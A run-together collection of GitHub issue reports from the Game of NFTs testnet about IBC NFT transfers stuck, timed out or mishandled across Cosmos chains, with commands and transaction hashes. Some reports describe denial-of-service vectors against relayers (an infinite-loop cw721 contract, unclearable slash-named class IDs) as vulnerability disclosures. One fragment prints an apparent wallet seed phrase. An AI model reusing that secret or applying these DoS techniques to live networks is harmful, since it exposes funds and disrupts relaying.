TxHast 7FE8143DDF01113E6FFF24D43C512AA0DD2C8D724A8E529B7C9B85FE7F38F0AC

4.- Query collection on Irisnet, the NFT is not transferred back to owner on IrisNET or transferred after a long delay.
omniflixhubd query onft collection ibc/8538CEDC73F1063C104607F5457D0F5A3649E18FC4ECF57A7A76EF8636547DB4
iris query nft collection workshop

## Expected and Actual Behavior

Actual: NFT either arrives late or does not arrive.
Preferred: NFT should arrive in less than 3 minutes to the destination account.

## Error Stack

No noticable errors.

## Additional Context

Sunday 5/3/2023, around 20:00 UTC.

I have made an easy-to-use, interactive CLI that lets people easily work with NFTs in the interchain. It does not require the user to learn a bunch of commands and flags to operate it. Everything is there.

It has a wide range of features for both regular operations of NFTs as well as debugging of IBC transactions.

I have consistently been pushing out new releases with new features depending on the tasks we are doing, and the issues I see people in the community are having. A good example of this is IBC transaction debugging which people struggle to understand. I visualize and explain them so you understand that there are multiple transactions involved.

The main features are:

• Create class/denom
• Mint NFTs
• Query NFTs
• Transfer NFTs over IBC (and it waits for IBC to complete on both chains)
  • Extra feature: Self relay!

In addition I have develop a range of helper/debugging tools:

• evidence.xslx format validation
• Finding IBC transactions (including timeout tranasctions)
• List connections between any two chains (in GoN)
• Key management
• Query transactions
• Calculate class-hash (without the class-hash having to be present on any chain)
• Generate a class trace (by selecting all hops it generates out a full class trace - useful for finding a class id on CosmWasm chains)
• Self-relay stuck messages (either by forcing the timeout transaction, or actually relaying the message) by only having the inital Tx hash

The code is open source: https://github.com/gjermundgaraba/gon-tools

(There is also a small environment variable script in the repo to make using the native CLI's directly easier too)

Summary of Bug

• NFT transfer from Stargaze to IRISnet pended, and didn't received in IRISnet, didn't returned to Stargaze also.

Environment

• OS: Ubuntu 22.04.1 LTS
• Software version:
  • starsd: v8.1.0

Steps to Reproduce

This issue happened during the Task A19 (s --(1)-->i).

1. Tried to transfer NFTs from Stargaze to Irisnet. The settings were as follows.

• Msg

# Json
{
  "receiver": "iaa1gtk6c7ft3mpp7cmsd39mw0ysqa6mf579gq67d5",
  "channel_id": "channel-207",
  "timeout": {
    "block": {
      "revision": 1,
      "height": 346000
    }
  }
}

# Encoded
ewogICJyZWNlaXZlciI6ICJpYWExZ3RrNmM3ZnQzbXBwN2Ntc2QzOW13MHlzcWE2bWY1NzlncTY3ZDUiLAogICJjaGFubmVsX2lkIjogImNoYW5uZWwtMjA3IiwKICAidGltZW91dCI6IHsKICAgICJibG9jayI6IHsKICAgICAgInJldmlzaW9uIjogMSwKICAgICAgImhlaWdodCI6IDM0NjAwMAogICAgfQogIH0KfQ==

• Executed command

starsd tx wasm execute \
	stars1r9whurc74jqgdf7ftlfdxacngxv4z2u2ea6c9ph85rvp5qjsek4szdk7gy \
	'{"send_nft": {"contract": "stars1ve46fjrhcrum94c7d8yc2wsdz8cpuw73503e8qn9r44spr6dw0lsvmvtqh", "token_id": "dsrvNFTtokenA19", "msg": "ewogICJyZWNlaXZlciI6ICJpYWExZ3RrNmM3ZnQzbXBwN2Ntc2QzOW13MHlzcWE2bWY1NzlncTY3ZDUiLAogICJjaGFubmVsX2lkIjogImNoYW5uZWwtMjA3IiwKICAidGltZW91dCI6IHsKICAgICJibG9jayI6IHsKICAgICAgInJldmlzaW9uIjogMSwKICAgICAgImhlaWdodCI6IDM0NjAwMAogICAgfQogIH0KfQ=="}}' \
	--from=dsrvlabs \
	--gas-prices 1ustars \
    	--gas auto \
    	--gas-adjustment 1.3 

2. The IBC Transfer Tx was successfully performed on Stargaze.

Success Tx: https://gon.ping.pub/stargaze/tx/7AD6FFCB159DB07C917DEE6DA4F8402DB9CDE9DD9121103CBD3241994C3BC732

3. Relayer tried to relay NFT transfer packets to IRISnet.

4. During the relay sequence, the timeout_height was reached and the corresponding Tx failed.

Failed Tx: https://gon.ping.pub/iris/tx/32A2E3AE1D0B00776BE364AD7F977885B5E1B1F375E9B6BE76CF99D8E22D147E

Expected and Actual Behavior

• Expected Behavior : NFT owned by owner address. even if transfer Tx was failed.

$ starsd query wasm contract-state smart \
        stars1r9whurc74jqgdf7ftlfdxacngxv4z2u2ea6c9ph85rvp5qjsek4szdk7gy \
        '{"all_nft_info":{"token_id":"dsrvNFTtokenA19"}}' 
data:
  access:
    approvals: []
    owner: stars1gtk6c7ft3mpp7cmsd39mw0ysqa6mf579f7djy5
  info:
    extension: {}
    token_uri: https://www.dsrvlabs.com

• Actual Behavior : NFT owned by contract.

$ starsd query wasm contract-state smart \
        stars1r9whurc74jqgdf7ftlfdxacngxv4z2u2ea6c9ph85rvp5qjsek4szdk7gy \
        '{"all_nft_info":{"token_id":"dsrvNFTtokenA19"}}' 
data:
  access:
    approvals: []
    owner: stars1ve46fjrhcrum94c7d8yc2wsdz8cpuw73503e8qn9r44spr6dw0lsvmvtqh
  info:
    extension: {}
    token_uri: https://www.dsrvlabs.com

Error Stack

• https://gon.ping.pub/iris/tx/32A2E3AE1D0B00776BE364AD7F977885B5E1B1F375E9B6BE76CF99D8E22D147E
  During the relay sequence, Tx failed with timeout error.

failed to execute message; message index: 1: receive packet verification failed: block height >= packet timeout height (1-346000 >= 1-346000): packet timeout

Additional Context

From the NFT user's perspective, if the NFT transfer fails as a result whether it's because the Tx failed or the timeout height was reached, they will expect it to returned back.
if it locked on contract, user will think that they've lost of the NFT.

Put my address on the list please
iaa1084xy70k92shk4dcqxps7ujknw0h4ewfxwvt2l

ClassID:

• gonTeamRace1
• gonTeamRace2
• gonTeamRace3

NFT ID follows the same naming convention as follows:

My strategy for preventing a bunch of txs stuck on channels is not to actually prevent them from getting stuck but rather find ways to ignore txs we don't care about.

It should work wonders for any scenario where you can know by transaction events which packets you want to relay (and it handles timeouts and acknowledgments too). This alone will not work for every scenario (the other scenarios are discussed towards the end), but it will let you relay the following:

• For an event (like Game of NFTs)
• For your own app
• For specific flows (anything you can specify with a set of events, which is very broad)

The naive demonstration solution

In the demonstrated solution, I took a naive approach that will only work in a very controlled environment but can demonstrate the principle: letting relayers filter transactions can improve throughput in scenarios of spam or attacks. The demonstrated approach is using a whitelist to approve transactions for relaying. It uses events as the basis for the filter and only approves senders from the approved list. This will effectively let the relayer ignore the noise and only pick up transactions from an approved list of people.

The whitelist approach can be deployed during Game of NFTs (or other controlled testnet environments where you have a list of participants) to keep channels open for participants to test - even in the event of spam/attacks.

To test this, I did the following:

1. Set up a new separate connection between Stargaze and Juno (connection details below)
2. Started a non-modified relayer on this path
3. Uploaded and initiated the virus contract from #479
4. After verifying that the channel was filling up (rly q unrelayed-packets PATH), try to transfer an NFT (from a whitelisted address) with the expected result: The unmodified relayer was not able to pick up the packet in a timely manner.
5. Start the modified whitelist relayer on this path
6. Try to transfer an NFT again (from a whitelisted address), with better results this time: it goes through in a matter of seconds from the modified relayer.

The connection details:

Stargaze port: wasm.stars1ve46fjrhcrum94c7d8yc2wsdz8cpuw73503e8qn9r44spr6dw0lsvmvtqh
Stargaze channel: channel-241
Juno port: wasm.juno1stv6sk0mvku34fj2mqrlyru6683866n306mfv52tlugtl322zmks26kg7a
Juno channel: channel-133

The code

The code is very basic, ugly, and hard-coded. This is because I don't know the go relayer code base very well and took this task upon myself to demonstrate a potential solution, not create production-quality code (yet). Before much more time is spent on this, I want to discuss different aspects and variations of this solution (discussed in detail further down).

gjermundgaraba/relayer@480f4fa

Discussion on more robust production solutions

The core issue in our case is that the relaying economy is altruistic and easily exploited. Some approaches can be taken on a protocol level to decrease the possibility and effects of these attacks, but as long as there is no direct cost for the user to relay a transaction, we are stuck with two options:

1. Self-relay
2. Try to filter out bad transactions

Simple whitelist (this version)

The solution demonstrated here is simple enough: it filters based on events. But that also makes it fairly powerful: you can make a whitelist filter that catches all the scenarios you need and increase specificity as needed.

Simple blacklist

Another way to go about the problem is to implement a simple blacklist based on the same principles as above: look for certain events (from, let's say, a known malicious contract) and don't relay them.

This is probably not very scalable, but it could, in a pinch, provide relayers with a simple method of updating a config file with a known in-progress attack event and spare users without too much effort.

Off-chain, indexed, combination of whitelist/blacklist

Connect the relayer to an off-chain service that indexes the chains and finds, using different sources (such as machine learning-models, discussed further below) and outputs a whitelist and/or blacklist that can be used for relaying.

This method has a lot of potential because it allows for the aggregation of data and more complex rule sets than just using events.

For instance, it could easily allow transferring NFTs that are created from a specific range of contracts (based on code-id) while ignoring everything else.

Pattern-based blacklist/whitelist

Finding ways to automate a blacklist or whitelist seems prudent if this is the way we go. We could, for instance, keep a cache where we count the number of transactions from particular accounts, and if they go above a certain number within a time period, they will be put on a temporary blacklist.

Essentially, we could have rule lists that do pattern-matching on events or other things and uses that to automate a blacklist. These rule lists can be implemented in some configuration files that validators and developers can easily share and improve over time.

Machine learning-based blacklist

Machine learning (or "AI") is exceptionally good at finding patterns in large amounts of data (if trained well). By collecting data and labeling them, we could train models to detect new forms of spam and attacks and quickly prevent them from causing too many issues.

All-of-the-above

If this becomes a big problem, the ultimate solution would probably be to layer these solutions on top of each other to provide multiple mechanisms to fine-tune relaying.

Conclusion

This solution has the most potential because it doesn't restrict anyone from relaying whatever they want. It simply allows relay operators to tune their relaying operations in such a way that they can best serve the IBC networks they relay.

It is also much easier and safer to update than, for instance, an on-chain whitelist of any sort that would potentially hold back builders (with this solution, they can still relay themselves).

Finally, this solution is not specific to only NFTs or a small range of problems but is inherently extendible and should (with all the different solutions - over time) support any IBC traffic.

ClassID gonQuiz

Summary of Bug

NFT with id arkNFT022 exists, but query stops with error

Environment

• OS: Ubuntun 22.04
• Software version: uptickd v0.2.6

Steps to Reproduce

# token query returns error
$ uptickd query collection token 'ibc/326A6F38C0A4460B7F02AC3D936693254314A5F11720FE12DFE3B31036844B7B' 'arkNFT022' --output json

Error: nft id(arkNFT022) only accepts alphanumeric characters, and begin with an english letter: invalid nft id

# collection query though shows correct NFTs
$ uptickd query collection collection 'ibc/326A6F38C0A4460B7F02AC3D936693254314A5F11720FE12DFE3B31036844B7B' --output json | jq
...
      {
        "id": "arkNFT022",
        "name": "",
        "uri": "",
        "data": "{\"irismod:name\":{\"value\":\"\"},\"irismod:uri_hash\":{\"value\":\"\"}}",
        "owner": "uptick1h7c0ltrj6z707eh3z4cyv4jkqwfv6lj76se7lr",
        "uri_hash": ""
      }
    ]
...

Summary of Bug

Not all denoms are shown. Problem is either in CLI/client or nft module.

Environment

• OS: Ubuntu 22.04
• Software version: iris version 1.4.1-gon-testnet

Steps to Reproduce

This query tells me there are 100 collections:

$ iris query nft denoms --page 0 | grep "id:" | wc -l
100 # 100 collections found

Now create a new collection:

$ iris tx nft issue arkprotocol004 --symbol "arkprotocol_symbol" --name "Ark Protocol - building multichain utilities" --uri "https://arkprotocol.io" --mint-restricted=true --update-restricted=true --from iaa183e7ccwsnngj2q8lfxnmekunspnfxs6qxd4v3f --fees 2000uiris -b sync --yes --output json

Query shows collection is, but the number of collections is still 100:

$ iris query nft denoms | grep "arkprotocol004"
  id: arkprotocol004

$ iris query nft denoms | grep "id:" | wc -l
100

Queries are paginated and there's --page with default value 1, however no matter what page is given it always currents the latest 100 collections:

$ iris query nft denoms | grep "arkprotocol004"
  id: arkprotocol004
$ iris query nft denoms | grep "id:" | wc -l
100
$ iris query nft denoms --page 100 | grep "id:" | wc -l
100
$ iris query nft denoms --page 1 | grep "id:" | wc -l
100
$ iris query nft denoms --page 2 | grep "id:" | wc -l
100
$ iris query nft denoms --page 3 | grep "id:" | wc -l
100
$ iris query nft denoms --page 4 | grep "id:" | wc -l
100
$ iris query nft denoms --page 10000 | grep "id:" | wc -l
100

Here is another example from ibc module where queries work properly:

$ iris query ibc channel channels --page 1 | grep '\- channel_id' | wc -l
39
$ iris query ibc channel channels --page 2 | grep '\- channel_id' | wc -l
0

Expected and Actual Behavior

Return collections based on pagination.

Abstract

During the evidence verification process, format inconsistencies were encountered in evidence files submitted by some participants. The following issues were identified:

• Some participants added the wasm prefix to the classId for wasm. However, the prefix is not required as wasm.addr represents an ics-721 port. This can be handled by removing the prefix.
• Many participants entered their values in row 3 of the sheet instead of starting from row 2. It is required to start from row 2. The original values in row 2 serves as a brief description and should be replaced with real evidence. Such evidence will not be processed.
• Some participants changed the name or format of the sheet. Such evidence will not be processed.

👀 Will make the error reason more clear the next Monday (around 2023-03-13:14:00 UTC+8). Your points aren't lost as long as the task is completed.

Incorrect examples

Row incorrect

Sheet format changed

What to do next

Stage 2 is still ongoing. When submitting new evidence please ensure that your format is correct and fix your old evidence format.

We will revalidate your evidence from Stage 1 during the Stage 2 validation process and update your score based on your evidence.

I believe, right now at least, this particular issue to be different than most of the "stuck" issues which are just IBC transactions not relayed. In this case, the message has been relayed.

Initial transaction: https://gon.ping.pub/iris/tx/31BF0367A0CC2855A5A29D414F0026AC62F03B47E2DA20B4B45F9D84981B3499

Receive transaction: https://gon.ping.pub/stargaze/tx/4379374DCEE2CAEA5EEEBACFBE476BFC7C4D2B57993D9695C6209DDCF1073503

In the write_acknowledgement events, we can see something happened:

packet_ack: {"error":"codespace: wasm, code: 5"}

The owner of the NFT in question is still the bridge:

$ starsd q wasm contract-state smart stars1t96ufuv24knrau6d4vnzq4988v7j0um4m9efu8chh4eenmr755nsuexkcp '{"owner_of": {"token_id": "test01"}}'
data:
  approvals: []
  owner: stars1ve46fjrhcrum94c7d8yc2wsdz8cpuw73503e8qn9r44spr6dw0lsvmvtqh

SUMMARY
I decided to aggregate information that will be useful for testing. As the tasks are completed, I will supplement this topic.

So, let's begin:

1. Setting config, for example IRIS:

$ iris config
{
        "chain-id": "gon-irishub-1",
        "keyring-backend": "os",
        "output": "json",
        "node": "http://34.80.93.133:26657",
        "broadcast-mode": "sync"
}

I suggest setting as a minimum node and chain-id.

iris config node <node>
iris config chain-id <chain-id>

Also better setting broadcast-mode to sync. This way it only waits until TX is returned. using block leads often client to timeout after a certain limit - which doesn't mean command is not executed... just don't use async otherwise you won't get a tx.
Since output is sometimes very long. You can output to json and use jq in bash for better formatting. With jq you can easily also query elements in json.

2. Uptick GON Explorer
I did not find information about the Uptick browser, so I will write it down here: https://explorer.testnet.uptick.network/

3.Useful linkfor Decode/Encode Base64 format (Necessary for payload message).
https://www.base64encode.org/

Utility

I want to leave a probably useful link for those who want to save their time writing transactions.
Let's say thanks to the participants of testnet`a, although I personally do not use it, it will probably be useful to someone.
http://gon.disperze.com/ibc-transfer

Help for participants

I also worked for the benefit of test participants by helping them with the following(Some members contacted DM):

1. Help with commands
2. Help with the particular details of the challenges
3. Help with NFT token tracing.

Summary of Bug

For b1-revisit task, I sent a NFT from uptick to stargaze 2 times and got success both times.

Environment

• OS: Any
• Software version: Any

Steps to Reproduce

1. I created a NFT with "uniqnft12" id under "uniq1" collection in iris.
   (AFDD2A01A37ECDCB9208F690C113C35C53FAB63A8EA5787AA18D488C8C135760)
2. I sent this NFT from iris to stargaze.
   (F7AA5E1383EDADB499D46CDDDBE8896E5C71074C83E719F50FDAA478D7973E5E)
3. I sent this NFT from stargaze to uptick.
   (B6516650259E798921F73A843FB4AB505B6D737120AB1FE040701C30F34020E9)
4. I sent this NFT from uptick to stargaze and got success, but when I couldn't see the NFT on stargaze, I sent it again with the same command and got success again.
   (D8466750AFA1ED29FB2AE19F893627343FAE221553B3B4ACD539FA91B2332EDF)
   (E2E238AD26E76CB17694C885C55EFFA04887C5D156D641091321C1489DC52101)

Expected and Actual Behavior

The submission should have failed and I should have gotten the following error.
"failed to execute message; message index: 0: not token owner: unauthorized"

But both submissions were successful.
Uptick Tx-1: D8466750AFA1ED29FB2AE19F893627343FAE221553B3B4ACD539FA91B2332EDF
2023-03-07 05:35
Uptick Tx-2: E2E238AD26E76CB17694C885C55EFFA04887C5D156D641091321C1489DC52101
2023-03-07 18:11

Error Stack

Additional Context

Summary of Bug

A cw721 contract containing malicious code added to TransferNft method, which would then be executed by ICS721 to redeem an NFT (on IBC Rcv).

Environment

• OS: Ubuntu 20.04.4
• Software version: [email protected]. [email protected]

Steps to Reproduce

• Customize cw721-base contract, add infinte loop code to transfer_nft handler.
• Upload code, Instantiate and mint an NFT
• Transfer NFT to IRIS network
• Return NFT to JUNO Network

Expected and Actual Behavior

Expected: ACK with error for exceeding the gas limit
Actual: Transaction on JUNO (IBC Recv) never completes

Additional Context

This can cause a DoS attack, where relayers are busy trying to execute transactions that cannot be completed.

Malicious cw721 contract
https://blueprints.juno.giansalex.dev/#/contracts/juno1rn6q7hdd95wly4tuun7ffjc4x2rak27twd6ypynlyplpc84um03qqvtq7h

Cross-chain an nft from uptick to iris, and generate a transaction record on uptick. Correspondingly, a cross-chain record will be generated in iris. But now there are many cross-chain records on iris.

uptick nft denom id : notSet
uptick nft token id : multx16
uptick ibc txid: BE089C574C182D5E3DCD445BBCAF305B8D32E20B5C034EF0B75D12ADCC51BF19

iris nft denom id: ibc/E58F5FEFD89F869F9AE2341448867E4AFAECE456AE7146F2FFD5BBC50969C154
iris nft token id : multx16
iris ibc txid :
txid: 74F6289C34C0E4E659482C12A29E653B220BAD05E194A8721832FA2B55571F7A height: 378521
txid: 70A605EE8AFE618C3047FC7A6FD2C8F2FF8D7DB15D8820F989594AB198C0B88E height: 378521
txid: 88D6E49604EC07C4E0C5C50F52C8789C16F1B8B8B8AD7F0A3EA62CBA19B99341 height: 378521
txid: 694869FBEB58318DCA0EAC44C28F60E94FF64B7F6022286E3806EA545B53594A height: 378520
txid: 9085719F2C9F8AE9CD238E33207EDB28D5DE850B6F62F2C8D8E49C57E417F200 height: 378520
txid: F28162F44A9F280AE04B1A3552353CF8CAF72951B50F7991E058BD259866BA8F height: 378520

Refer to: http://34.80.93.133:1317/cosmos/tx/v1beta1/txs?events=recv_packet.packet_sequence%3D%27172%27&events=recv_packet.packet_src_channel%3D%27channel-3%27&events=recv_packet.packet_dst_channel%3D%27channel-17%27&pagination.reverse=false&limit=10&page=1

I send gir2/osmanbo nft uptick to omniflix but nft doesn't show up anywhere. After waiting for a while, I made a self-relayer but it didn't work.

https://explorer.testnet.uptick.network/uptick-network-testnet/tx/B5020A3A79E8E38360E926B8388C97D1557F9C4BD0FB7C2186AD4EDBA74CF4D3

We have been having issues with NFTs getting stuck:
#329

Aptly nicknamed #NonFindableToken by @chillyvee.

First level observation: it seems like perhaps the go relayer was the only relayer running on is-2, si-2. Because when I started up the hermes relayer on this channel it found the missing transactions and posted timeout proofs.

My intial missing tx (more than 24 hours ago): https://gon.ping.pub/stargaze/tx/9A569DBF71A38CE3927E5EA05A24C585E39716AE31BAF21121960661C63D016D

The timeout tx from my relayer: https://gon.ping.pub/stargaze/tx/E21FEA090D179E97E04E5F9D65EEFB67B0067A52CF7F16E6C34A7C20BBADAC5C

This might of course very well be a relayer configuration issue and that for a short while nobody relayed on that particular channel, and the misconfigured relayers didn't pick up old ones packets.

After transfer via IBC an NFT that has a classID with special characters (e.g: p/0/1), I can't return it to the origin chain.

Environment

• OS: Ubuntu 20.04.4
• Software version: [email protected]

Steps to Reproduce

• Create collection with special chars and mint an NFT

iris tx nft issue disperze/0/1 
iris tx nft mint disperze/0/1 gonft001

• Transfer to JUNO

iris tx nft-transfer transfer nft-transfer channel-24 <receiver> disperze/0/1 gonft001

• Return to origin (IRIS)

MSG='{"send_nft": {"contract": "juno1stv6sk0mvku34fj2mqrlyru6683866n306mfv52tlugtl322zmks26kg7a", "token_id": "gonft001", "msg": "eyAicmVjZWl2ZX.....zF9IH0gfQ=="}}'

junod tx wasm execute <cw721-contract> "$MSG"

Expected and Actual Behavior

Expected: Recover the original NFT on IRIS
Actual: Error ibc/C99502011F102E8562678BB2FD928A7CC78E051C207DF6908C3F1E30BD9F1D5C: nft class does not exist

Additional Context

ClassID sent from JUNO chain: wasm.juno1stv6sk0mvku34fj2mqrlyru6683866n306mfv52tlugtl322zmks26kg7a/channel-89/disperze/0/1
but nft-transfer module is searching classID: "ibc/" + sha256("disperze/0/1") instead disperze/0/1

Txs
IRIS: https://gon.ping.pub/iris/tx/5210E17BB09FD3B3DDB77844C9D3E375182251275DA84F386925734FE3910D81
JUNO: https://blueprints.juno.giansalex.dev/#/transactions/5E7EAB3013FEA650ADB1B91D1A6F4FAD2DEF0BB66B7C7989FF11B67450EDFA58

go method:
https://github.com/bianjieai/nft-transfer/blob/v1.1.1-beta/types/trace.go#L64

NFT cross the chain from iris to uptick. The nft on iris is locked to an address, but there is no event of nft to this locked address in the transaction record of iris

In NFT cross chain transactions from Uptick, Irihub, and Omniflixhub to Stargaze, Juno, the parameter "revision_height" will be automatically obtained when creating cross chain transactions, but the obtained "revision_height" is smaller than the actual value. One party successfully trades but the other party does not receive it, resulting in NFT being in a managed state all the time.

For example, NFT cross chain from Omniflixhub to Juno。 txid: EE3F6EE8E874B633C0985C3265995394E137C94A543B6914DA870F177E7F2AB, the transaction creation time is 2023-03-17T01:57:37Z, and the value of the parameter "revision_height" is 565953, but in the Juno chain, the time for the height of 565953 is 2023-03-15T18:00:35.071266717Z. The timeout for ibc transactions is significantly shorter than the current time,

https://gon.ping.pub/omniflix/tx/EE3F6EE8E874B633C0985C32659953942E137C94A543B6914DA870F177E7F2AB

https://gon.ping.pub/juno/blocks/565953

There are also similar cases：

Irishub to Juno txid:95A22293F62C7387DEF2A5ADC231F347D68920BA5151D28641117C8559DB98A5
uptick to Juno txid:343636B2361DDA92303AB318FE0CE39C5D997FB0E469BBA15FBDB408E748741F

only these words are produced:

tribe road canal park below end soon rent april strategy solar tired vintage bomb control enjoy net melody rely country orient entire bro

Summary of Bug

That happens when a token is sent in a second flow and the cw-ics721 has not received IBC Acknowledge in time.
e.g:

1. i -> j (OK)
2. j -> i (JUNO does not receive IBC ACK in time)
3. i -> j (JUNO cannot mint the token on IBC Recv)

Looking in the code, this occurs because cw-ics721 burns the token sent to the remote chain in IBC ACK event, but due to spam it does not receive the ACK in time.
https://github.com/public-awesome/ics721/blob/main/contracts/cw-ics721-bridge/src/ibc.rs#L172

Steps to Reproduce

• Transfer new nft from IRIS to JUNO. Tx, IBC Rcv
• Return nft to IRIS network. Tx, IBC Rcv
• Transfer the nft again from IRIS to JUNO. Tx

  you got an ACK error, it cannot mint the token on Juno.
  Recv Tx: FDF77BA26C620AAF5D6609727153B27A31958AC9111DDA6D1B3246EC6D927D37

Expected and Actual Behavior

• Expected: Successful token receipt
• Actual: ACK with error: execute wasm contract failed

Additional Context

The burn event must occur at the time of transfer, as does nft-transfer module.
https://github.com/bianjieai/nft-transfer/blob/v1.1.1-beta/keeper/relay.go#L259

Summary of Bug

For A8 - flow-a2 - never-go-back task, My nft stuck on omniflix.

1. I minted a NFT with "rawnft08" id under "rawalotcollection" collection in iris.
   https://gon.ping.pub/iris/tx/EBFEAEB09EA9C19256C86B905B0EBD131099E6905BB4D7DA85D44AABCF9EE437
2. I sent nft from iris to uptick.
   https://gon.ping.pub/iris/tx/145B8E7BAB0CFA732051396E0CF467705B86443D7795E094D65EF4E54CE88370
3. I sent nft from uptick to omniflix.
   https://explorer.testnet.uptick.network/uptick-network-testnet/tx/27E5A58620F9F7A67FC94E91E983CA101F279CBE0EB0627BAE13DCAFE84F87B6
4. I sent nft from omniflix to iris.
   https://gon.ping.pub/omniflix/tx/DB0C0B2B067022973DCAD57E28FE291BD918468D21D60079E72E1F1CA19766EB
   The tx on omniflix got success response. But the nft didn't appear on iris network. After 1 hour later I tried again to send from omniflix to iris.
   https://gon.ping.pub/omniflix/tx/43F7407432A435EF6C8A48A5CA81C91851537421C6864A5A00907D39EEF01A52
   Second tx got error. Because the owner of nft not me. It changed to omniflix1m2nuc50f4qk2czsahluts574agsn9gr9zrnmkt. My address on omniflix is omniflix14zru37e9zrha0lsnc64e89mc22etq50g49jwuz.

Now the nft stuck between omniflix and iris. Nft does not appear on me neither omniflix network nor iris network.

Environment

• OS: ubuntu 20.04
• Software version: omniflixhub 0.9.0-gon-test2

Steps to Reproduce

Expected and Actual Behavior

Expected: The nft should have appeared iaa14zru37e9zrha0lsnc64e89mc22etq50gaerxfd on iris network or omniflix14zru37e9zrha0lsnc64e89mc22etq50g49jwuz on omniflix network.

Actual: Now nft owner is omniflix1m2nuc50f4qk2czsahluts574agsn9gr9zrnmkt.

Error Stack

Additional Context

It seems like an ibc relayer bug.

Summary of Bug

Cannot get class hash after sending the nft using the command:
junod q wasm contract-state smart juno1stv6sk0mvku34fj2mqrlyru6683866n306mfv52tlugtl322zmks26kg7a '{"nft_contract": {"class_id" : "wasm.juno1stv6sk0mvku34fj2mqrlyru6683866n306mfv52tlugtl322zmks26kg7a/channel-91/nft-transfer/channel-41/nft-transfer/channel-6/wasm.stars1ve46fjrhcrum94c7d8yc2wsdz8cpuw73503e8qn9r44spr6dw0lsvmvtqh/channel-209/nft-transfer/channel-24/supermintG"}}'

Both nfts are in the escrowed address on Omni, but Juno cannot find class hash

Environment

OS: macOS 13.2.1 (22D68)
Software version: v12.0.0

Steps to Reproduce

This happens when I transfer NFT following this flow: i --(1)--> s --(1)--> o --(1)--> j
(It happens before, when transfer from s--> j, but it can be resolved by resending the transaction again from s (multiple times))

I have tried to send two nft following this flow, one with a timeout, and one that does not.
Transaction hash:
without timeout: https://gon.ping.pub/omniflix/tx/7B25136A52103139DCAC9E8F7CC45917590A88A3858C6AFBE1F598D23E8AE46D
with timeout: https://gon.ping.pub/omniflix/tx/95D70081B7992BC3A4D26C9741E3FE07B7EC9693C863E0FF6704F2D61B693834

Expected and Actual Behavior

It should return a class-hash. It returns null.

Additional Context
This happens a lot when transfer to Juno

I'm failing A16 on the scoreboard, I double-checked the 'osmanb' and the flow and couldn't find a problem, is it possible to find out the cause of the error. @taramakage

Summary

The NFT data is modified when it is sent to chains with nft-transfer module, but not when it is sent to CosmWasm chains (cw-ics721).

Environment

• OS: Ubuntu 20.04.4
• Software version: [email protected]

Steps to Reproduce

• Create collection, mint an NFT on IRIS
• Transfer to JUNO / Return to IRIS (data is not modified)
  NFT data:

{"irismod:name":{"value":"GoN NFT 001"},"irismod:uri_hash":{"value":""}}

• Transfer to Uptick / Return to IRIS
  NFT data:

{"irismod:name":{"value":"GoN NFT 001"},"irismod:uri_hash":{"value":""},"uptickd:name":{"value":""},"uptickd:uri_hash":{"value":""}}

• Transfer to Omniflix / Return to IRIS
  NFT data:

{"irismod:name":{"value":"GoN NFT 001"},"irismod:uri_hash":{"value":""},"omniflix:created_at":{"value":"0001-01-01T00:00:00Z"},"omniflix:description":{"value":""},"omniflix:extensible":{"value":true},"omniflix:name":{"value":""},"omniflix:nsfw":{"value":false},"omniflix:preview_uri":{"value":""},"omniflix:royalty_share":{"value":"0.000000000000000000"},"omniflix:transferable":{"value":true},"omniflix:uri_hash":{"value":""},"uptickd:name":{"value":""},"uptickd:uri_hash":{"value":""}}

Expected and Actual Behavior

I would expect that the NFT data will not be modified, or that the behavior will be the same in all ICS721 implementations.

Additional Context

I added the ability to self-relay using my GoN CLI in two different ways:
1: By transfering directly with the CLI and a --self-relay flag
2: By using a specific command that can relay any transaction if you know source-chain, destination-chain and the original transaction hash.

The self-relaying has proved robust and very useful. It re-uses a solid amount of code from both the GoN CLI itself and the go relayer (https://github.com/cosmos/relayer). It actually requires the go-relayer to be configured first, but the CLI relays the packages itself (it does not start the rly binary or anything). Update: It is now entirely zero-config setup: https://twitter.com/GjermundGaraba/status/1639621796105207810

The documentation for setup can be found here:
https://github.com/gjermundgaraba/gon-tools/blob/main/gon-cli/self-relay.md

The self-relaying code is mainly to be found here: https://github.com/gjermundgaraba/gon-tools/tree/main/gon-cli/gorelayer

An example usage of it can be found here: https://github.com/gjermundgaraba/gon-tools/blob/main/gon-cli/cmd/root_self_relay.go

To show that this really works, I also did the race challenges with a scripted version of this and go through the whole first flow in 25 blocks. And I included some safety sleeps to make sure blocks were settled in between things. This was while most packages were stuck and the channels full of spam. Proof of this can be found in my evidence.xslx

This can easily be extended to work outside of GoN, the code can use for instance Strangelove's Lens to get most of its configuration.

The relayer has been used by a lot of individuals during GoN, and also for helping out others that got their transactions stuck using different tools.

While relaying I discovered some strange transactions that seemed non-refundable. This was discussed here as well: #329 (comment)

In short, the nft-transfer module incorrectly assumes any class-id with a / in it is an ibc-denom and therefore creates a hashed class-id (ibc/hash)
The issue is this code: https://github.com/bianjieai/nft-transfer/blob/6b8596c47042c45cdba994b2b4e1b64f1520041b/types/trace.go#L64-L78

(A PR with a test and solution is incoming from me over the weekend!)

Seeing how these transactions keep coming up in any relayer configured to clear out timed out transactions, it seems like if you spam these transactions that can never be cleared, you can clog up the relayers. And if relayers are not able to clear out transactions, other legitimate timeout packets can be denied (so basically making this a potential denial of service attack).

TC Network provides Explorer/Dashboard for the Game of NFT which allows users:

• Connect wallet: Keplr, MM
• View detail of the transaction (ex: https://gon.tcnetwork.io/juno/transaction/[txHash>])
• NFT IBC transfer by UI, this is in progress.

URL of Explorer: Game of NFT Explorer